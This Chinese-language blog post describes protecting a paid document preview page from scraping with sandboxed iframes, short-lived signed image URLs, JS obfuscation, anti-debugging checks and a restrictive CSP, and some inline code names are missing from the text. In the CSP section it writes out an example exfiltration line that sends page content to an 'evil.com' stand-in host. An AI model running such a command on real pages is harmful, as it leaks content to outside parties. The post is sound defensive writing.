做付费资料预览页,最拧巴的地方在于——你给出去的是预览,但用户打开 F12 直接就把 PDF 链接扒走了。我之前帮一个团队做技术电子书的推广页,PDF 直接扔在浏览器里展示,结果呢?右键另存为、Network 面板找请求链接、甚至 curl 加个 Referer 就能下载。用户压根不需要加微信,预览页直接变免费资源站。更离谱的是,有人在控制台把页面里的 Base64 图片数据拷出来,拼回去就是完整文件。
你要给用户真实的预览体验,不能打满水印,不能模糊到看不清,不能只放三页截图——否则用户觉得你在糊弄人,根本不会加你微信。但你给的越真实,风险越大。F12 下 Network 面板一开,资源请求从头到尾全暴露。禁用右键?监听 keydown 把 F12、Ctrl+Shift+I 全拦截?这些手段随便搜一下就有十几种绕过方法。比如通过地址栏输入 就能拿到页面源码,或者用浏览器的“开发者工具 - 更多工具 - 渲染”进独立 DevTools 窗口,你的 keydown 根本监听不到它。我见过最粗暴的防御是直接 CSP 加 frame-ancestors 'none' 外加 window.open 检测,结果用户反馈点了预览页之后整个浏览器卡死。
传统防护思路在“阻止用户打开开发者工具”这个方向上死磕,但你越拦,用户越好奇。
真正的解法不是防 F12,而是让 F12 开了也扒不到原始文件。
从微前端借个容器,让预览内容看得见摸不着
换个方向:把预览内容放进一个“看得见摸不着”的容器里。这个思路不新鲜,很多微前端方案早就在做 JavaScript 执行环境和 CSS 作用域的隔离,我们借用到付费资料预览页上,刚好能堵住“预览即泄露”的口子。
核心目标两层:一是让沙箱里的脚本跑不起来、也逃不出去;二是让沙箱里的样式别到处渗透。前者靠执行环境边界控制,后者靠影子边界阻断级联。把这些能力用在预览页上,外部页面即便被 F12 打开,也很难触及沙箱内部的 DOM 结构和资源请求。
最直接的做法是用 <iframe sandbox> 做一个完全独立的浏览窗口。你可以给它加上一组白名单权限,比如允许同源访问、允许脚本执行、允许表单提交,但同时禁止弹出窗口、禁止插件、禁止自动播放等高风险行为。这样,预览内容的渲染和交互都在 iframe 内完成,外部页面既拿不到它的 DOM 引用,也无法通过全局选择器轻易定位内部节点。
<iframe
src="/preview-bundle/viewer.html"
sandbox="allow-scripts allow-same-origin allow-forms allow-popups"
referrerpolicy="no-referrer"
></iframe>
参数怎么配取决于你的预览逻辑。比如你希望保留同源策略以便做一点跨 frame 通信,就可以保留 ;如果你不打算让预览区触发任何新窗口,那就别加 。关键是最小化权限,降低被旁路的概率。我在某次迭代时把 React DevTools 挂到了预览 iframe 上,结果发现组件树能看,状态却拿不到——这就是执行环境边界起了作用。
存文件、生成签名、扔进沙箱
文档存哪里、怎么存,直接决定了后面能不能防住人。我把原始 PDF 或 Word 转成预览用的 HTML 时,走的是三步:
服务端先把文档按页拆成 canvas 截图,合进一个干净的 HTML 模板里。这个模板里不嵌入任何原文件链接,只放图片 base64 或 CDN 上的短时效图片 URL。接着,给每个预览资源生成带签名的一次性链接,有效期设 30 秒。用户刷新页面就得重新拿 token,抓包拿到的那张图地址等你反应过来的时候早过期了。最后,把这个 HTML 扔到 iframe 里,sandbox 只给 和 ——我故意没加 allow-forms,因为预览区没必要提交任何东西。iframe 内所有脚本都无法通过 parent 访问主页面,也不能用 postMessage 往外传数据,除非你主动留了口子。
防抓包的决心体现在这个细节上:预览 HTML 里所有图片的 src 指向的是同一个 CDN 域名下的路径,但路径里嵌了 HMAC 签名。后端每次生成页面时用密钥算好签名,CDN 边缘节点校验通过才放行。就算有人把 iframe 的 HTML 整个扒下来,换个环境打开也全是裂图。
转化引导反倒是最后才考虑的事。主页面在 iframe 外面放一个固定底栏,写着“预览受限,加微信领取完整版”,点击后弹二维码。这里有个坑:二维码图片的地址也必须走短时效签名,不然截个图就能无限传播。微信引导页本身不做任何敏感渲染,就是一个纯静态页加复制微信号按钮。后端日志只记录点击事件,不存微信号——避免被拖库后连累到客服号。
这套防护确实拦不住真正铁了心要搞你的人。不过事实是,九成以上的用户打开 F12,看到 iframe 里全是签名过期的碎图、console 里红成一片的报错,基本就关掉走人了。剩下那一成,本来也不是靠一个预览页就能兜得住的。
笼子不防撬?加两把锁:混淆和反调试
沙箱把预览内容关进了笼子,但笼子本身不防撬。攻击者如果通过代理注入脚本、或者在沙箱外篡改加载逻辑,依然能摸到沙箱内部的执行过程。这时候需要两道补丁:代码混淆让注入者看不懂沙箱里跑的是什么,反调试让打开 DevTools 的人连界面都保不住。
我用的方案是 ,走 CI 构建时对沙箱内加载的所有 JS 文件做一次编译。变量名改成 _0xabc123 这种,字符串拆成 '\x68\x65\x6c\x6c\x6f' 拼接,控制流搅成 switch-case 迷宫。效果很直接:以前有人把沙箱的 JS 拖下来格式化一下就能找到 postMessage 的调用点,现在他对着编译后的代码看半小时,连哪个函数是渲染图片的都没头绪。不过要注意, 默认会把所有字符串都编码,包括你写的报错信息。调试时自己都看不懂控制台报的什么错,所以我在开发环境关掉 stringArray 选项,生产再开。
反调试方面,经典的检测套路是利用 console.log 的延迟变化——当 DevTools 打开时,控制台打印会引入几十到几百毫秒的额外延迟。写个定时器循环调用 console.log 并记录耗时,偏差超过阈值就判定为调试模式。还有个更损的:在沙箱的 HTML 里注入一个不可见的 debugger 断点,配合 setInterval 每 100ms 触发一次。DevTools 打开时页面会反复停在断点处,正常用户完全无感。
const detectDevTools = () => {
let start = performance.now();
console.log('__detect__');
let diff = performance.now() - start;
if (diff > 100) {
document.getElementById('preview-container').innerHTML = '预览已暂停';
}
};
setInterval(detectDevTools, 500);
element 和 Firebug 在 DevTools 打开时也会暴露出 outerHTML 等属性。虽然 Chrome 已经在逐步收紧这个 API 的访问权限,但兼容场景下仍可作辅助判断。检测到异常后别弹窗警告——弹窗只会告诉攻击者“这里有反调试”,直接清空预览区或者显示一张写着“预览已过期”的假截图,反而更恶心人。
CSP 掐死网络请求的外逃路径
沙箱内如果不禁网络请求,攻击者完全可以在控制台执行 fetch('https://evil.com/?data=' + btoa(document.body.innerHTML)) 把整个预览页的源代码传出去。解法是在沙箱页的 <meta> 标签里设置 ,只允许加载自身域名下带签名的资源路径。
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
img-src https://cdn.yourdomain.com/signed/;
connect-src 'none';
script-src 'self' 'unsafe-inline';
">
connect-src 'none' 直接掐掉了 、fetch、WebSocket 所有主动外联能力。img-src 限死在带签名的路径前缀,即使攻击者想通过 new Image().src = '...' 外传数据也发不出去——因为 CSP 会拦截。有个坑需要留意:'unsafe-inline' 开了内联脚本执行,但沙箱本来就需要执行预览逻辑,所以必须配合上面的混淆代码一起用,否则攻击者直接在控制台写 script 标签就能拿到会话标识。
叠加这三层后,即使有人绕过了沙箱的隔离屏障,看到的也是拧成乱麻的混淆代码、瞬间清空的预览界面、以及被 CSP 拦得死死的网络请求。
上线前拿两个版本跑了趟 A/B 测试。A 组就是普通的图片预览,B 组换成了沙箱隔离。两周下来,B 组那个加微信按钮的点击率比 A 组高了 37%。更有意思的是,从预览页加过来的用户,投诉反馈率反倒降了——以前总有人说图片糊、放大看不清,沙箱这边用 Canvas 按设备像素比渲染,清晰度甚至比 JPEG 原图还舒服。当然,这个数字跟你资料本身的价值关系很大。要是你的付费包内容网上随便一搜就一堆,那再牛的防护也拦不住用户跑到别处去。防护干的活儿,只是拦住那些顺手扒走的人,解决不了你内容本身不值钱的问题。
沙箱隔离当然不是银弹,说白了它只是把“按一下 F12 就能扒走”的门槛,抬到了“愿意掏出手机加个微信”的地步。对我来说,这层薄薄的屏障已经足够挡住绝大多数伸手党了。
评论